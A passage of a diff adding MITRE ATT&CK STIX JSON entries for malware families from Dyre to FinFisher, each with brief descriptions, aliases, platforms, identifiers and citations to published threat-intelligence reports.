"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "source_name": "DustySky2", + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + } + ] + }, + { + "name": "Dyre", + "description": "[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. \n (Citation: Symantec Dyre June 2015)", + "id": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Dyre" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:19.746Z", + "modified": "2019-04-24T23:21:07.723Z", + "external_references": [ + { + "external_id": "S0024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0024" + }, + { + "description": "(Citation: Symantec Dyre June 2015)", + "source_name": "Dyre" + }, + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ] + }, + { + "name": "ELMER", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by [APT16](https://attack.mitre.org/groups/G0023). (Citation: FireEye EPS Awakens Part 2)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ELMER" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "created": "2017-05-31T21:32:43.237Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0064", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0064" + }, + { + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ] + }, + { + "name": "Ebury", + "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)", + "id": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0377", + "url": "https://attack.mitre.org/software/S0377" + }, + { + "description": "(Citation: ESET Ebury Feb 2014)", + "source_name": "Ebury" + }, + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + }, + { + "source_name": "BleepingComputer Ebury March 2017", + "description": "Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ebury" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Marc-Etienne M.L\u00e9veill\u00e9, ESET" + ], + "created": "2019-04-19T16:40:24.922Z", + "modified": "2019-04-26T20:14:18.000Z", + "labels": [ + "malware" + ] + }, + { + "name": "Elise", + "description": "[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)", + "id": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "malware", + "x_mitre_aliases": [ + "Elise", + "BKDR_ESILE", + "Page" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:54.416Z", + "modified": "2019-04-17T22:12:24.546Z", + "external_references": [ + { + "external_id": "S0081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0081" + }, + { + "description": "(Citation: Accenture Dragonfish Jan 2018)", + "source_name": "Elise" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)", + "source_name": "BKDR_ESILE" + }, + { + "description": "(Citation: Lotus Blossom Jun 2015)", + "source_name": "Page" + }, + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ] + }, + { + "name": "Emissary", + "description": "[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Emissary" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created": "2017-05-31T21:32:54.772Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0082", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0082" + }, + { + "description": "(Citation: Lotus Blossom Dec 2015)", + "source_name": "Emissary" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ] + }, + { + "name": "Emotet", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)", + "id": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0367", + "url": "https://attack.mitre.org/software/S0367" + }, + { + "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) ", + "source_name": "Emotet" + }, + { + "description": "(Citation: Trend Micro Emotet Jan 2019)", + "source_name": "Geodo" + }, + { + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "source_name": "Trend Micro Banking Malware Jan 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "source_name": "Kaspersky Emotet Jan 2019", + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/" + }, + { + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "source_name": "CIS Emotet Apr 2017", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + }, + { + "source_name": "ESET Emotet Nov 2018", + "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.", + "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/" + }, + { + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "source_name": "CIS Emotet Dec 2018", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + }, + { + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "source_name": "Red Canary Emotet Feb 2019", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Emotet", + "Geodo" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "created": "2019-03-25T18:35:14.353Z", + "modified": "2019-06-28T15:25:28.858Z", + "labels": [ + "malware" + ] + }, + { + "name": "Epic", + "description": "[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "id": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "external_references": [ + { + "external_id": "S0091", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0091" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Epic" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Tavdig" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Wipbot" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "WorldCupSec" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "TadjMakhal" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "malware", + "x_mitre_aliases": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Martin Smolar, ESET" + ], + "created": "2017-05-31T21:32:58.738Z", + "modified": "2019-07-26T16:10:41.304Z", + "labels": [ + "malware" + ] + }, + { + "name": "EvilBunny", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)", + "id": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0396", + "url": "https://attack.mitre.org/software/S0396" + }, + { + "description": "(Citation: Cyphort EvilBunny Dec 2014)", + "source_name": "EvilBunny" + }, + { + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "source_name": "Cyphort EvilBunny Dec 2014", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "EvilBunny" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "ESET" + ], + "created": "2019-06-28T17:40:32.217Z", + "modified": "2019-07-01T18:16:32.917Z", + "labels": [ + "malware" + ] + }, + { + "name": "EvilGrab", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "EvilGrab" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0152", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0152" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ] + }, + { + "name": "Exaramel for Linux", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)", + "id": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Exaramel for Linux" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-08-26T13:02:46.378Z", + "modified": "2019-09-04T23:07:06.567Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0401", + "url": "https://attack.mitre.org/software/S0401" + }, + { + "description": "(Citation: ESET TeleBots Oct 2018)", + "source_name": "Exaramel for Linux" + }, + { + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ] + }, + { + "name": "Exaramel for Windows", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)", + "id": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Exaramel for Windows" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T15:10:03.894Z", + "modified": "2019-09-04T23:04:50.014Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0343", + "url": "https://attack.mitre.org/software/S0343" + }, + { + "description": "(Citation: ESET TeleBots Oct 2018)", + "source_name": "Exaramel for Windows" + }, + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ] + }, + { + "name": "FALLCHILL", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FALLCHILL" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0181", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0181" + }, + { + "description": "(Citation: US-CERT FALLCHILL Nov 2017)", + "source_name": "FALLCHILL" + }, + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ] + }, + { + "name": "FELIXROOT", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FELIXROOT", + "GreyEnergy mini" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-01-30T13:42:08.715Z", + "external_references": [ + { + "external_id": "S0267", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0267" + }, + { + "description": "(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", + "source_name": "FELIXROOT" + }, + { + "description": "(Citation: ESET GreyEnergy Oct 2018)", + "source_name": "GreyEnergy mini" + }, + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ] + }, + { + "name": "FLASHFLOOD", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FLASHFLOOD" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "created": "2017-05-31T21:32:28.754Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0036" + }, + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ] + }, + { + "name": "FLIPSIDE", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FLIPSIDE" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0173", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0173" + }, + { + "description": "(Citation: Mandiant FIN5 GrrCON Oct 2016)", + "source_name": "FLIPSIDE" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "name": "FakeM", + "description": "[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FakeM" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "created": "2017-05-31T21:32:52.470Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0076" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ] + }, + { + "name": "Felismus", + "description": "[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Felismus" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0171", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0171" + }, + { + "description": "(Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)", + "source_name": "Felismus" + }, + { + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "source_name": "Symantec Sowbug Nov 2017", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + }, + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ] + }, + { + "name": "FinFisher", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", + "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "x_mitre_platforms": [ + "Windows", + "Android" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "malware", + "x_mitre_aliases": [ + "FinFisher", + "FinSpy" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-01-16T16:13:52.465Z", + "modified": "2019-10-15T20:02:39.677Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0182", + "url": "https://attack.mitre.org/software/S0182" + }, + { + "description": "(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)", + "source_name": "FinFisher" + }, + { + "description": "(Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)", + "source_name": "FinSpy" + }, + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "FireEye FinSpy Sept 2017", + "description": "Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute 